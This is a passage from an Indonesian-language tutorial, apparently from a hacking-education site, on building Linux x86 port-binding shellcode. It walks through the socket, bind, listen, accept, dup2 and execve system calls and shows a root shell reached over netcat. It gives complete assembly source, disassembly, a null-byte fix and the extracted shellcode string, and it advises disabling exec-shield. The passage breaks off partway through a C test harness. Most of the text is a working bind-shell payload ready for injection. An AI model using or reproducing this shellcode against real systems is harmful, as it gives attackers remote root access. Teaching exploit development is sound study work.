Seperti pada gambar yang telah saya jelaskan di atas, socket programming di server dimulai dari fungsi socket() untuk membuat server socket dan mendapatkan file handlernya. Setelah itu ip address dan port harus didefinisikan dalam struct sockaddr_in. Socket address ini akan dipakai dalam fungsi bind() untuk mengikat port dan ip address tersebut dengan socket yang sudah dibuat sebelumnya. Setelah ip dan port sudah terikat dengan socket, kita bisa mulai menunggu koneksi dari client dengan fungsi listen(). Program akan blocking di fungsi listen() ini. Program akan resume, mulai berjalan lagi ketika client membuka koneksi dan hubungan telah terjalin. Setelah hubungan telah terjalin, kita akan memanggil fungsi accept() untuk mendapatkan file handler socket untuk client.
</p>
<blockquote><p>Ada dua socket yang dipakai: server socket dan client socket</p></blockquote>
<p style="text-align: justify;">
Port yang akan kita pakai untuk LISTEN adalah port 2396, yang dalam hexadesimal adalah 0x095C. Ingat penulisan port harus dalam bentuk network byte order (big endian), sehingga penulisannya harus dibalik menjadi 0x5C09.
</p>
<p style="text-align: justify;">
Saya menggunakan IP address bernilai 0 yang artinya all local address. Local address disini tidak hanya 127.0.0.1 tetapi juga semua ip address yang terdefinisi di interface yang ada pada host tersebut. Bila dalam host tersebut ada 3 ethernet card dengan ip yang berbeda, maka dia akan listen di semua ip tersebut.
</p>
<p style="text-align: justify;">
Dalam program di atas sebelum kita mengeksekusi /bin/sh, kita perlu mengarahkan stdin,stdout dan stderr ke client socket. Hal ini dimaksudkan karena program yang dieksekusi dengan execve akan mewarisi stdin, stdout dan stderr dari yang mengeksekusinya. Jadi bila tidak dicloning dulu, maka stdin,stdout,stderr akan memakai keyboard dan layar console sehingga tidak bisa dipakai untuk mengirim command dan menerima outputnya dari jarak jauh.
</p>
<p><b>Test</b></p>
<p align="justify">
Sekarang mari kita uji program port binding di atas. Saya memakai dua console di komputer yang sama untuk mengujinya. Pada console pertama saya akan melakukan kompilasi dan menjalankan program tersebut sebagai root.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gcc portbind.c -o portbind
$ sudo ./portbind</pre></div></div>

<p align="justify">
Setelah portbind dijalankan sebagai root dengan sudo, kini di console lain saya membuka koneksi ke port 2396 dengan mamakai program netcat.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ nc localhost 2396
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
exit</pre></div></div>

<p><b>Port Binding dalam Assembly</b></p>
<p align="justify">
Oke dalam pengujian di atas kita berhasil membuat program yang listen ke port tertentu dan mengeksekusi shell bila ada koneksi masuk. Sekarang kita harus membuat program sejenis namun dalam bahasa assembly. Sama seperti pembuatan local shellcode, kita menggunakan interrupt 80 hexa untuk memanggil system call. System call yang akan kita panggil adalah socket, bind, listen, accept, dup2 dan execve.
</p>
<p align="justify">
Keluarga system call socket, bind, listen dan accept adalah satu system call dengan nomor 102. Sebelum memanggil interrupt 80h kita perlu mendefinisikan dulu apa yang akan kita panggil, apakah socket, bind, listen atau accept. Pilihan tersebut harus dimasukkan dalam register EBX:
</p>
<ul>
<li>EBX = 1 untuk socket()</li>
<li>EBX = 2 untuk bind()</li>
<li>EBX = 3 untuk connect()</li>
<li>EBX = 4 untuk listen()</li>
<li>EBX = 5 untuk accept()</li>
</ul>
<p align="justify">
Parameter untuk fungsi socket, bind, connect, listen dan accept disimpan sebagai array yang addressnya disimpan dalam register ECX. Seperti biasa register EAX harus diisi dengan nomor system call yaitu 102.
</p>
<p><b>struct sockaddr_in dalam Assembly</b></p>
<p align="justify">
Bagian yang rumit dalam shellcode ini adalah ketika membentuk struct sockaddr_in. Struct ini sebenarnya berukuran 16 byte, tetapi 8 byte terakhir adalah sin_zero yang tidak terpakai, jadi kita hanya fokus mengisi 8 byte pertama.
</p>
<p align="justify">
Susunan byte pada struct sockaddr_in adalah:</p>
<p align="justify">
<ul>
<li>Byte ke-1 dan ke-2: sin_family yang akan diisi dengan 0&#215;0002 (AF_INET).</li>
<li>Byte ke-3 dan ke-4: sin_port yang akan diisi dengan 0x5C09 (port 2396).</li>
<li>Byte ke-5 s/d ke-8: sin_addr.s_addr yang akan diisi dengan 0&#215;00000000 (semua IP di interface host).</li>
</ul>
<p align="justify">
Alamat dari struct sockaddr_in ini harus disimpan dalam ECX. Kita akan memanfaatkan stack untuk membentuk struct ini. Karena stack adalah struktur data LIFO, maka kita harus push dulu 4 byte terakhir (0&#215;00000000), kemudian diikuti dengan push 2 byte untuk sin_port dan terakhir baru push untuk sin_family. Setelah semua di-push, maka ESP menunjuk pada address struct ini sehingga harus kita salin ke ECX.
</p>
<p align="justify">
Snipped assembly di bawah ini adalah instruksi untuk membuat struct sockaddr_in. Di akhir source, ESP menunjuk pada address struct sockaddr_in.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; edx = 0 </span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; push sin_addr.s_addr 0x0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">word</span> <span style="color: #0000ff;">0x5C09</span> <span style="color: #666666; font-style: italic;">; push sin_port</span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">2</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">dx</span> <span style="color: #666666; font-style: italic;">; push sin_family 0x0002</span></pre></td></tr></table></div>

<p align="justify">
Setelah snippet di atas dijalankan, struct sockaddr_in akan terlihat seperti di bawah ini:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">0x02    0x00    0x09    0x5C    0x00    0x00    0x00    0x00</pre></div></div>

<p align="justify">
0&#215;02 0&#215;00 adalah sin_family, hasil dari instruksi &#8220;push dx&#8221; pada saat regsiter DX bernilai 2. Byte berikutnya 0&#215;09 0x5C adalah sin_port, hasil dari instruksi &#8220;push word 0x5C09&#8243;. Lalu 4 byte sisanya adalah sin_addr.s_addr hasil dari instruksi &#8220;push edx&#8221; pada saat EDX bernilai 0.
</p>
<p><b>Source Code Assembly Port Binding Shellcode</b></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;">BITS <span style="color: #0000ff;">32</span>
section <span style="color: #339933;">.</span>text
global _start
&nbsp;
_start<span style="color: #339933;">:</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebx</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #00007f;">edx</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;server=socket(2,1,0)</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; push 0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #0000ff;">0x1</span> <span style="color: #666666; font-style: italic;">; push 1</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #0000ff;">0x2</span> <span style="color: #666666; font-style: italic;">; push 2</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX points to [2][1][0]</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">bl</span> <span style="color: #666666; font-style: italic;">; EBX=1 means socket()</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">102</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; esi = server socket handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;bind(server,(struct sockaddr*)&amp;serv_addr,16)</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">word</span> <span style="color: #0000ff;">0x5C09</span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">2</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">dx</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX = &amp;serv_addr</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #0000ff;">16</span> <span style="color: #666666; font-style: italic;">; push 16 (sizeof struct sockaddr)</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ecx</span>  <span style="color: #666666; font-style: italic;">; push &amp;serv_addr</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">esi</span>   <span style="color: #666666; font-style: italic;">; push server socket handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX points to [server][&amp;serv_addr][16]</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">bl</span> <span style="color: #666666; font-style: italic;">; EBX=2 means bind()</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">102</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;listen(server,0)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #00007f;">edx</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; push 0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">esi</span> <span style="color: #666666; font-style: italic;">; push server socket handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX points to [server][0]</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">bl</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x4</span> <span style="color: #666666; font-style: italic;">; EBX=4 means listen()</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">102</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;client=accept(server,0,0)</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; push 0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; push 0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">esi</span> <span style="color: #666666; font-style: italic;">; push server socket handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX points to [server][0][0]</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">bl</span> <span style="color: #666666; font-style: italic;">; EBX=5 means accept()</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">102</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; ebx = client socket handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;dup2(client,0)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ecx</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">63</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;dup2(client,1)</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">ecx</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">63</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;dup2(client,2)</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">ecx</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">63</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;execve &quot;/bin//sh&quot;</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; push NULL (0x0)</span>
<span style="color: #00007f; font-weight: bold;">push</span> long <span style="color: #0000ff;">0x68732f2f</span> <span style="color: #666666; font-style: italic;">; push //sh</span>
<span style="color: #00007f; font-weight: bold;">push</span> long <span style="color: #0000ff;">0x6e69622f</span> <span style="color: #666666; font-style: italic;">; push /bin</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; EBX = address of &quot;/bin//sh&quot;</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; push NULL (0x0)</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ebx</span> <span style="color: #666666; font-style: italic;">; push address of &quot;/bin//sh&quot;</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX address of [address of &quot;/bin//sh&quot;,NULL]</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x0b</span> <span style="color: #666666; font-style: italic;">; exec system call</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span></pre></td></tr></table></div>

<p align="justify">
Bila anda sudah membaca artikel sebelumnya <a href="http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-1/">belajar membuat shellcode</a> part 1 anda tentu sudah mengerti tentang system call untuk mengeksekusi shell (execve), jadi tidak perlu saya jelaskan lagi di sini.
</p>
<p align="justify">
System call dup2 sangat sederhana, register yang harus diisi adalah EBX diisi dengan client socket handler, ECX diisi file handler untuk stdin,stdout dan stderr, dan terakhir adalah EAX yang harus diisi dengan nomor system call, 63.
</p>
<p align="justify">
Pada system call keluarga socket programming, socket(), bind(), listen(), accept() semua argumen disimpan dalam bentuk blok memori secara berurutan dengan alamatnya disimpan pada register ECX. Sebagai contoh, untuk socket(2,1,0), register ECX harus berisi alamat blok memori yang berisi byte berikut: 0&#215;02 0&#215;01 0&#215;00.
</p>
<p><b>Mengambil Opcode untuk Shellcode</b></p>
<p align="justify">
Langkah berikutnya adalah kita harus compile dan link source assembly tersebut. Setelah itu baru kita disassemble dengan objdump agar bisa diekstrak opcodenya.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ nasm -f elf portbind.asm
$ ld -o portbind_asm portbind.o
$ objdump -d ./portbind_asm
&nbsp;
./portbind_asm:     file format elf32-i386
&nbsp;
Disassembly of section .text:
&nbsp;
08048060 &lt;_start&gt;:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       31 db                   xor    %ebx,%ebx
 8048064:       31 d2                   xor    %edx,%edx
 8048066:       50                      push   %eax
 8048067:       6a 01                   push   $0x1
 8048069:       6a 02                   push   $0x2
 804806b:       89 e1                   mov    %esp,%ecx
 804806d:       fe c3                   inc    %bl
 804806f:       b0 66                   mov    $0x66,%al
 8048071:       cd 80                   int    $0x80
 8048073:       89 c6                   mov    %eax,%esi
 8048075:       52                      push   %edx
 8048076:       66 68 09 5c             pushw  $0x5c09
 804807a:       81 c2 02 00 00 00       add    $0x2,%edx
 8048080:       66 52                   push   %dx
 8048082:       89 e1                   mov    %esp,%ecx
 8048084:       6a 10                   push   $0x10
 8048086:       51                      push   %ecx
 8048087:       56                      push   %esi
 8048088:       89 e1                   mov    %esp,%ecx
 804808a:       fe c3                   inc    %bl
 804808c:       b0 66                   mov    $0x66,%al
 804808e:       cd 80                   int    $0x80
 8048090:       31 d2                   xor    %edx,%edx
 8048092:       52                      push   %edx
 8048093:       56                      push   %esi
 8048094:       89 e1                   mov    %esp,%ecx
 8048096:       b3 04                   mov    $0x4,%bl
 8048098:       b0 66                   mov    $0x66,%al
 804809a:       cd 80                   int    $0x80
 804809c:       52                      push   %edx
 804809d:       52                      push   %edx
 804809e:       56                      push   %esi
 804809f:       89 e1                   mov    %esp,%ecx
 80480a1:       fe c3                   inc    %bl
 80480a3:       b0 66                   mov    $0x66,%al
 80480a5:       cd 80                   int    $0x80
 80480a7:       89 c3                   mov    %eax,%ebx
 80480a9:       31 c9                   xor    %ecx,%ecx
 80480ab:       b0 3f                   mov    $0x3f,%al
 80480ad:       cd 80                   int    $0x80
 80480af:       41                      inc    %ecx
 80480b0:       b0 3f                   mov    $0x3f,%al
 80480b2:       cd 80                   int    $0x80
 80480b4:       41                      inc    %ecx
 80480b5:       b0 3f                   mov    $0x3f,%al
 80480b7:       cd 80                   int    $0x80
 80480b9:       52                      push   %edx
 80480ba:       68 2f 2f 73 68          push   $0x68732f2f
 80480bf:       68 2f 62 69 6e          push   $0x6e69622f
 80480c4:       89 e3                   mov    %esp,%ebx
 80480c6:       52                      push   %edx
 80480c7:       53                      push   %ebx
 80480c8:       89 e1                   mov    %esp,%ecx
 80480ca:       b0 0b                   mov    $0xb,%al
 80480cc:       cd 80                   int    $0x80</pre></td></tr></table></div>

<p><b>Byte Terlarang di Shellcode</b></p>
<p align="justify">
Dari hasil objdump di atas terlihat ada byte yang terlarang, yaitu 0&#215;00 yang merupakan bagian dari opcode instruksi: &#8220;add edx,2&#8243;. Kenapa byte 0&#215;0 tidak boleh ada? Sebab ketika kita menginjeksi string, maka byte 0&#215;0 akan dianggap sebagai akhir sebuah string, akibatnya shellcode kita tidak akan terinjeksi dengan lengkap dan terpotong pada byte 0&#215;0 tersebut.
</p>
<p align="justify">
Agar byte 0&#215;0 tidak ada, maka kita harus mengganti &#8220;add edx,2&#8243; dengan instruksi lain yang ekivalen, artinya instruksi pengganti tersebut harus berakibat pada bertambahnya nilai edx dengan 2. Saya akan mengganti instruksi &#8220;add edx,2&#8243; dengan instruksi &#8220;inc edx&#8221; sebanyak 2 kali. Mari kita lihat perbedaan antara opcode &#8220;add edx,2&#8243; dengan &#8220;inc edx&#8221;.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;"> 804807a:       81 c2 02 00 00 00       add    edx, 2</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;"> 804807a:       42                      inc    edx
 804807b:       42                      inc    edx</pre></div></div>

<p align="justify">
Perhatikan kedua opcode di atas. Ada dua keuntungan yang kita dapatkan dengan mengganti instruksi add. Pertama adalah tidak ada lagi byte 0&#215;0. Kedua adalah ukurannya lebih hemat, instruksi &#8220;inc edx&#8221; hanya berukuran 1 byte, jadi total berukuran 2 byte. Sedangkan instruksi &#8220;add edx, 2&#8243; berukuran 6 byte, kita hemat 4 byte untuk mendapat efek yang sama.
</p>
<p align="justify">
Oke setelah kita menyingkirkan byte terlarang, kita harus mengekstrak opcodenya untuk menjadi shellcode. Kita akan pakai lagi cara yang saya pakai di artikel part 1 untuk dengan cepat meng-ekstrak opcode dari output objdump.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ objdump -d portbind_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/&quot;/'|sed 's/$/&quot;/g'
&quot;\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80&quot;</pre></div></div>

<p align="justify">
Setelah kita dapatkan shellcode, mari kita coba lagi pakai perl dan ndisasm, kalau hasil disassemblernya sama dengan source assembly awal, berarti shellcode tersebut sudah benar.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ perl -e 'print &quot;\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80&quot;'|ndisasm -u -
00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  31D2              xor edx,edx
00000006  50                push eax
00000007  6A01              push byte +0x1
00000009  6A02              push byte +0x2
0000000B  89E1              mov ecx,esp
0000000D  FEC3              inc bl
0000000F  B066              mov al,0x66
00000011  CD80              int 0x80
00000013  89C6              mov esi,eax
00000015  52                push edx
00000016  6668095C          push word 0x5c09
0000001A  42                inc edx
0000001B  42                inc edx
0000001C  6652              push dx
0000001E  89E1              mov ecx,esp
00000020  6A10              push byte +0x10
00000022  51                push ecx
00000023  56                push esi
00000024  89E1              mov ecx,esp
00000026  FEC3              inc bl
00000028  B066              mov al,0x66
0000002A  CD80              int 0x80
0000002C  31D2              xor edx,edx
0000002E  52                push edx
0000002F  56                push esi
00000030  89E1              mov ecx,esp
00000032  B304              mov bl,0x4
00000034  B066              mov al,0x66
00000036  CD80              int 0x80
00000038  52                push edx
00000039  52                push edx
0000003A  56                push esi
0000003B  89E1              mov ecx,esp
0000003D  FEC3              inc bl
0000003F  B066              mov al,0x66
00000041  CD80              int 0x80
00000043  89C3              mov ebx,eax
00000045  31C9              xor ecx,ecx
00000047  B03F              mov al,0x3f
00000049  CD80              int 0x80
0000004B  41                inc ecx
0000004C  B03F              mov al,0x3f
0000004E  CD80              int 0x80
00000050  41                inc ecx
00000051  B03F              mov al,0x3f
00000053  CD80              int 0x80
00000055  52                push edx
00000056  682F2F7368        push dword 0x68732f2f
0000005B  682F62696E        push dword 0x6e69622f
00000060  89E3              mov ebx,esp
00000062  52                push edx
00000063  53                push ebx
00000064  89E1              mov ecx,esp
00000066  B00B              mov al,0xb
00000068  CD80              int 0x80</pre></div></div>

<p align="justify">
Oke selamat, shellcodenya sudah benar. Setelah itu biar lebih afdol, kita harus menguji dengan program C berikut.
</p>
<blockquote><p>
Jangan lupa untuk mematikan exec shield dengan cara &#8220;echo 0 > /proc/sys/kernel/exec-shield&#8221; sebelum program C di bawah ini bisa dieksekusi. Bila tidak anda akan mendapatkan segmentation fault error.
</p></blockquote>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">char</span> shellcode<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc0</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xdb</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xd2</span><span style="color: #660099; font-weight: bold;">\x50</span><span style="color: #660099; font-weight: bold;">\x6a</span><span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x6a</span><span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xfe</span><span style="color: #660099; font-weight: bold;">\xc3</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xc6</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x09</span><span style="color: #660099; font-weight: bold;">\x5c</span><span style="color: #660099; font-weight: bold;">\x42</span><span style="color: #660099; font-weight: bold;">\x42</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\x6a</span><span style="color: #660099; font-weight: bold;">\x10</span><span style="color: #660099; font-weight: bold;">\x51</span><span style="color: #660099; font-weight: bold;">\x56</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xfe</span><span style="color: #660099; font-weight: bold;">\xc3</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xd2</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x56</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xb3</span><span style="color: #660099; font-weight: bold;">\x04</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x56</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xfe</span><span style="color: #660099; font-weight: bold;">\xc3</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: 